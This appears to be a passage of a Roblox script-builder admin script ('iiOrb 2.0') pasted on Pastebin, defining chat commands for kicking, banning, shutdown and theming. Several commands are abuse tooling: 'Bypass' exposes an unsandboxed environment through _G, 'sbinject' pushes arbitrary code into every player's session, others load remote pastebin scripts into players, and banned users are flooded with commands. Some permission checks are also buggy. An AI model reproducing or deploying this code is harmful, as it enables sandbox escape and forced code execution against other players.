  832. elseif data.messageType == Enum.MessageType.MessageWarning then
  833. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
  834. elseif data.messageType == Enum.MessageType.MessageError then
  835. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
  836. elseif data.messageType == Enum.MessageType.MessageInfo then
  837. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
  838. end
  839. end
  840. end
  841. OutputLogHistory()
  842. Refresh.MouseButton1Down:connect(function()
  843. ScrollingFrame:ClearAllChildren()
  844. wait()
  845. OutputLogHistory()
  846. end)
  847. end)
  848. end
  849. end local GiveServerConsole = API.GiveServerConsole
  850.  
  851. function API.SafeExe(string_src,string_plr)
  852. if string_src == nil then string_src = "" end
  853.  
  854. local BypassEnv = getfenv(1)
  855. BypassEnv.script = "Locked Object"
  856. BypassEnv.print_to = print_to
  857. rawset(_G,"NewBypassEnv",BypassEnv)
  858.  
  859. local ExecuteSource = [[
  860. wait(.1)
  861. local newEnv = _G.NewBypassEnv
  862. newEnv.owner = getfenv(1).owner
  863. newEnv.print = function(i)
  864. if i == nil then i = "" end
  865. newEnv.print_to(tostring(owner),i)
  866. end
  867. setfenv(1,newEnv)
  868. ]]
  869. local ExeSrc = ExecuteSource..string_src
  870. Sbexe("c/"..ExeSrc,string_plr)
  871. end local SafeExe = API.SafeExe
  872.  
  873. --// Admin API
  874.  
  875. function API.GetAdmins(plr)
  876. for i,v in pairs(iiOrb.Admins)do
  877. print_to(plr,"["..i.."]-"..iiOrb.Levels[v.Level])
  878. end
  879. end local GetAdmins = API.GetAdmins
  880.  
  881. function API.AddCommand(Name,Usage,Desc,Level,Func)
  882. table.insert(iiOrb.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
  883. end local AddCommand = API.AddCommand
  884.  
  885. function API.Chatted(plr,msg)
  886. if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
  887. Sbexe("g/ns")
  888. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  889. end
  890. if msg:lower()=='h/http://hastebin.com/raw/muvazesare.lua'then
  891. Sbexe("g/ns")
  892. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  893. end
  894. local Commands = iiOrb.Chatted.Commands
  895. local Prefix = iiOrb.Chatted.Settings.Prefix
  896. local Suffix = iiOrb.Chatted.Settings.Suffix
  897. local sub = string.sub
  898. local lower = string.lower
  899. if sub(msg,1,3)=='/e 'then
  900. msg = sub(msg,4)
  901. end
  902. if iiOrb.Admins[plr.Name]then
  903. for index,data in pairs(Commands)do
  904. if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
  905. if iiOrb.Admins[plr.Name].Level >= data.Level then
  906. local y,n = ypcall(function()
  907. data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
  908. end)
  909. if not y then
  910. print_to(plr,"[Error]: a command related error has occured : "..n)
  911. end
  912. else
  913. print_to(plr,"[Error]: Your access level is to low for that command")
  914. end
  915. end
  916. end
  917. end
  918. end local Chatted = API.Chatted
  919.  
  920. function API.BootCommands()--// Function that calls and injects all commands
  921.  
  922. AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
  923. print_to(Player,"[iiOrb 2.0]: TEST")
  924. end)
  925.  
  926. AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
  927. print_to(Player,"Got Commands")
  928. print_to(Player,"---------------------------------------------------------------")
  929. for index,data in pairs(iiOrb.Chatted.Commands)do
  930. print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
  931. print_to(Player,"---------------------------------------------------------------")
  932. end
  933. end)
  934.  
  935. AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
  936. print_to(Player,"Got admins")
  937. GetAdmins(Player)
  938. end)
  939.  
  940. AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
  941. GetLogs(Player)
  942. end)
  943.  
  944. AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
  945. local Split = GetSplit(Message)
  946. local Plrs
  947. local Reason
  948. if Split == nil then
  949. Plrs = Collect_Players(Message,Player)
  950. Reason = nil
  951. else
  952. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  953. Reason = Message:sub(Split+1)
  954. end
  955. if #Plrs>0 then
  956. for _,Plr in pairs(Plrs) do
  957. if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
  958. Plr:Kick(Reason)
  959. end
  960. end
  961. end)
  962.  
  963. AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
  964. local Split = GetSplit(Message)
  965. local Plrs
  966. local Reason
  967. if Split == nil then
  968. Plrs = Collect_Players(Message,Player)
  969. Reason = nil
  970. else
  971. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  972. Reason = tostring(Message:sub(Split+1))
  973. end
  974. if #Plrs>0 then
  975. for _,Plr in pairs(Plrs) do
  976. if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
  977. --table.insert(iiOrb.Banned,tostring(Plr.Name)==tostring(Reason))
  978. iiOrb.Banned[Plr.Name]=tostring(Reason)
  979. Plr:Kick("You have been banned for:/n "..tostring(Reason))
  980. end
  981. end
  982. end)
  983.  
  984. AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
  985. for i,v in pairs(iiOrb.Banned)do
  986. if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
  987. iiOrb.Banned[i]=nil
  988. end
  989. end
  990. end)
  991.  
  992. AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
  993. print_to(Player,"Got Banned")
  994. print_to(Player,"--------------------------------")
  995. for i,v in pairs(iiOrb.Banned)do
  996. print_to(Player,"["..tostring(i).."]: "..tostring(v))
  997. print_to(Player,"--------------------------------")
  998. end
  999. end)
  1000.  
  1001. AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
  1002. local Split = GetSplit(Message)
  1003. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  1004. local Command = Message:sub(Split+1)
  1005. if #Plrs>0 then
  1006. for index,data in pairs(Plrs)do
  1007. Sbexe(Command,data)--afk
  1008. end
  1009. end
  1010. end)
  1011.  
  1012. AddCommand('Loader','injl','Injects iiOrb loader to a player',3,function(Message, Collect_Players, Player)
  1013. local Plrs = Collect_Players(Message,Player)
  1014. if #Plrs > 0 then
  1015. for i,v in pairs(Plrs)do
  1016. print_to(v,"[iiOrb 2.0]: has issued a loader to you")
  1017. InjectLoader(v)
  1018. end
  1019. end
  1020. end)
  1021.  
  1022. AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
  1023. ChangeTheme(Player,Message)
  1024. end)
  1025.  
  1026. AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
  1027. if #Message>0 then
  1028. local Plrs = Collect_Players(Message,Player)
  1029. if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
  1030. for index,data in pairs(Plrs)do
  1031. Follow(true,data.Name)
  1032. end
  1033. else
  1034. Follow(true,Player.Name)
  1035. end
  1036. end)
  1037.  
  1038. AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
  1039. Follow(false,"")
  1040. end)
  1041.  
  1042. AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
  1043. for i,v in pairs(game:GetService('Players'):children())do
  1044. Sbexe([[g/rj]],v)
  1045. wait(.2)
  1046. v:Kick('This server has shutdown')
  1047. end
  1048. end)
  1049. AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
  1050. local Split = GetSplit(Message)
  1051. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  1052. local Level = tonumber(Message:sub(Split+1))
  1053. if #Plrs>0 then
  1054. for index,data in pairs(Plrs)do
  1055. if Level > iiOrb.Admins[data.Name].Level and iiOrb.Admins[data.Name].Level >= iiOrb.Admins[Player.Name].Level then
  1056. print_to(data,"[Error]: You cant set your level higher then your own")
  1057. else
  1058. print("[iiOrb 2.0]: Has set "..data.Name.."'s Access level to ["..Level.."]")
  1059. iiOrb.Admins[data.Name].Level = tonumber(Level)
  1060. end
  1061. end
  1062. end
  1063. end)
  1064.  
  1065. AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
  1066. local newEnv = getfenv(1)
  1067. newEnv.script = nil
  1068. newEnv.warn = print
  1069. newEnv.print = print
  1070. newEnv.print_to = print_to
  1071. newEnv.broadcast = broadcast
  1072. rawset(_G,"Bypass",function()
  1073. return newEnv
  1074. end)
  1075. broadcast('[iiOrb 2.0]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
  1076. end)
  1077. AddCommand('Kill player','kp','Kills a player',2,function(Message,Player)
  1078. workspace:FindFirstChild(Message).Head:Explode()
  1079. end)
  1080. AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
  1081. if #Message>0 then
  1082. if Message:lower() == 'true' then
  1083. if iiOrb.Blocker.LocalBlock == true and iiOrb.Blocker.LocalBlock == true then
  1084. print_to(Player,"[iiOrb 2.0]: Scripting is already locked")
  1085. else
  1086. iiOrb.Blocker.LocalBlock = true
  1087. iiOrb.Blocker.GlobalBlock = true
  1088. print('[iiOrb 2.0]: Is locking Scripting')
  1089. end
  1090. elseif Message:lower()=='false' then
  1091. if iiOrb.Blocker.LocalBlock == false and iiOrb.Blocker.LocalBlock == false then
  1092. print_to(Player,"[iiOrb 2.0]: Scripting is already unlocked")
  1093. else
  1094. iiOrb.Blocker.LocalBlock = false
  1095. iiOrb.Blocker.GlobalBlock = false
  1096. print('[iiOrb 2.0]: Is unlocking Scripting')
  1097. end
  1098. end
  1099. end
  1100. end)
  1101. AddCommand('Set Speed','spd','Sets speed',3,function(Message, Collect_Players, Player)
  1102. local n = tonumber(Message)
  1103. if type(n) == 'number' then
  1104. Settings.Rotation.Speed = n
  1105. end
  1106. end)
  1107. AddCommand('Set bounce','setb','Sets the bounce value of iiOrb.',3,function(Message,Player)
  1108. local bouncev = tonumber(Message)
  1109. if type(bouncev) == 'number' then
  1110. Settings.Rotation.Bounce = tonumber(Message)
  1111. end
  1112. end)
  1113.  
  1114.  
  1115. AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
  1116. if #Message>0 then
  1117. if Message:lower() == 'true'then
  1118. ChangeTheme(Player,'hidden')
  1119. elseif Message:lower()== 'false' then
  1120. ChangeTheme(Player,'normal')
  1121. end
  1122. end
  1123. end)
  1124.  
  1125. AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
  1126. GetSavedScripts(Player)
  1127. end)
  1128.  
  1129. --[[ AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
  1130. --[[local Data = rbxdb:GetAllData()
  1131. if type(Data)=='table'then
  1132. for i,v in pairs(Data)do wait(.1)
  1133. print_to(Player,tostring(i)..":"..tostring(v))
  1134. end
  1135. end
  1136. end)]]--]]--
  1137.  
  1138. AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
  1139. GiveServerConsole(Player)
  1140. end)
  1141. AddCommand('Script Inject','sbinject','Injects a script to all players (Say the script like ;sbinject-game.Players.LocalPlayer:Remove()', 5, function(Message, Collect_Players, Player)
  1142.  
  1143.  
  1144. local children = game.Players:GetChildren()
  1145. for i = 1, #children do
  1146. Sbexe("remove/iiOrbEXE",children[i].Name)
  1147. wait()
  1148. Sbexe("create/iiOrbEXE",children[i].Name)
  1149. wait()
  1150. Sbexe("edit/iiOrbEXE",children[i].Name)
  1151. wait()
  1152. Sbexe(Message,children[i].Name)
  1153. wait()
  1154. Sbexe("exit/",children[i].Name)
  1155. Sbexe("run/iiOrbEXE",children[i].Name)
  1156. Sbexe('remove/iiOrbEXE',children[i].Name)
  1157. end
  1158. end)
  1159.  
  1160. AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
  1161. GetGarbage(Player)
  1162. end)
  1163.  
  1164.  
  1165. AddCommand('grs','grs','Gets all the running scripts',2e9,function(Message, Collect_Players, Player)
  1166. print_to(Player,"Got Running scripts")
  1167. for index, child in pairs(workspace:GetChildren()) do
  1168. --print(index, child.Name)
  1169. wait(.1)
  1170. print_to(Player,child.Name)
  1171. end
  1172. end)
  1173.  
  1174. AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
  1175. if #Message > 0 then
  1176. SafeExe(Message,Player)
  1177. end
  1178. end)
  1179. AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
  1180. iiOrb.__STATUS = not iiOrb.__STATUS
  1181. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1182. SpawnOrb()
  1183. end
  1184. end)
  1185. AddCommand('SmoothLoad','sml','Loads some terrain [GWC Approved]',3,function(Message,Player)
  1186. if game.Players:FindFirstChild(Message) then
  1187. Sbexe([[hl/http://pastebin.com/raw.php?i=ctyyEdQp]],Message)
  1188. --Created by GuyWithACleverName
  1189. else
  1190. end end)
  1191. AddCommand('ChatServ','cs','Activates ChatServ [gwc]',3,function(Message)
  1192. for i,v in pairs(game.Players:GetPlayers()) do
  1193. Sbexe([[hl/http://pastebin.com/raw.php?i=uG7KqYWW]],v)
  1194. end
  1195. end)
  1196.  
  1197.  
  1198. print("[iiOrb 2.0]: Has finished booting commands")
  1199. end local BootCommands = API.BootCommands
  1200.  
  1201. function API.Connect(plr)
  1202. if type(plr)~='userdata'then return end
  1203.  
  1204. local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious","error18"}
  1205. if plr.AccountAge/365 < .5 then
  1206. for i,v in pairs(Allowed_YoungPlrs)do
  1207. if not plr.Name == v then
  1208. plr:Kick("[iiOrb 2.0]: Sorry your AccountAge is to young to join this game")
  1209. end
  1210. end
  1211. end
  1212.  
  1213. if iiOrb.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(iiOrb.Banned[plr.Name]) end
  1214.  
  1215. if not iiOrb.Admins[plr.Name]then
  1216. print_to(plr,"[iiOrb 2.0]: Has identifyed you as a ["..iiOrb.Levels[1].."]")
  1217. print("[iiOrb 2.0]: connect "..plr.Name.." as a ["..iiOrb.Levels[1].."]")
  1218. iiOrb.Admins[plr.Name] = {Level=1}
  1219. elseif iiOrb.Admins[plr.Name]then
  1220. print_to(plr,"[iiOrb 2.0]: Has identified you as a ["..iiOrb.Levels[iiOrb.Admins[plr.Name].Level].."]")
  1221. end
  1222. ConnectLogger(plr)
  1223. plr.Chatted:connect(function(msg)
  1224. Chatted(plr,msg)
  1225. end)
  1226. end local Connect = API.Connect
  1227. API.userIDParse = function(id)
  1228. local result=game.Players:GetNameFromUserIdAsync(id)
  1229. return result
  1230. end
  1231. local userIDParse = API.userIDParse
  1232. --//One last thing, UserID Parse.
  1233. AddCommand('UserID Parse','uidp','Parses an ID and returns it back as a user.',3,function(Message,Player)
  1234. local res = userIDParse(Message)
  1235. print_to(Player,'[iiOrb] Your returned user was: '..tostring(res))
  1236. end)
  1237. --//And block osc.
  1238. --// Bootstrapper functions
  1239.  
  1240. function Bootstrap:Boot()
  1241. local DeploymentID = Generate(math.random(1,50)*2/3)
  1242. --// Bootup
  1243. broadcast("[iiOrb 2.0]: Has started booting up")
  1244. SpawnOrb()
  1245. Rotate()
  1246. BootCommands()
  1247. for i,v in pairs(game:GetService('Players'):children())do
  1248. Connect(v)
  1249. end
  1250.  
  1251. game:GetService('Players').PlayerAdded:connect(function(plr)
  1252. wait(.5)
  1253. Connect(plr)
  1254. end)
  1255.  
  1256. game.Workspace.DescendantAdded:connect(function(obj)
  1257. if obj.ClassName == "Script" then
  1258. if iiOrb.Blocker.GlobalBlock == true then
  1259. obj.Disabled = true
  1260. obj:Destroy()
  1261. end
  1262. elseif obj.ClassName == "LocalScript" then
  1263. if iiOrb.Blocker.LocalBlock == true then
  1264. obj.Disabled = true
  1265. obj:Destroy()
  1266. end
  1267. end
  1268. end)
  1269. --game.DescendantAdded:connect(function(instance)
  1270. --if iiOrb.Blocker.LagBlocker== true then
  1271. --if iiOrb.LagBlockedInstances[instance.ClassName]then
  1272. --instance:Destroy()
  1273. --end
  1274. --end
  1275. --end)
  1276.  
  1277.  
  1278.  
  1279. print("[iiOrb 2.0]: Has booted successfully")
  1280. broadcast("[iiOrb 2.0]: Has deployed with ID: "..DeploymentID.."")
  1281. -- rbxdb:SetValue("[iiOrb DEPLOYMENT]",DeploymentID)
  1282. end
  1283.  
  1284. if script.ClassName == 'Script'then
  1285. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1286. local y,n = pcall(function()
  1287. iiOrb.API.Bootstrap:Boot()
  1288. end)if not y then print('{ERROR}: '..n)end
  1289. end
  1290. elseif script.ClassName == 'ModuleScript'then
  1291. return iiOrb.Api.Bootstrap:Boot()
  1292. end
  1293. ChangeTheme('iiOrb','normal')
  1294. broadcast'\nBe happy.'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement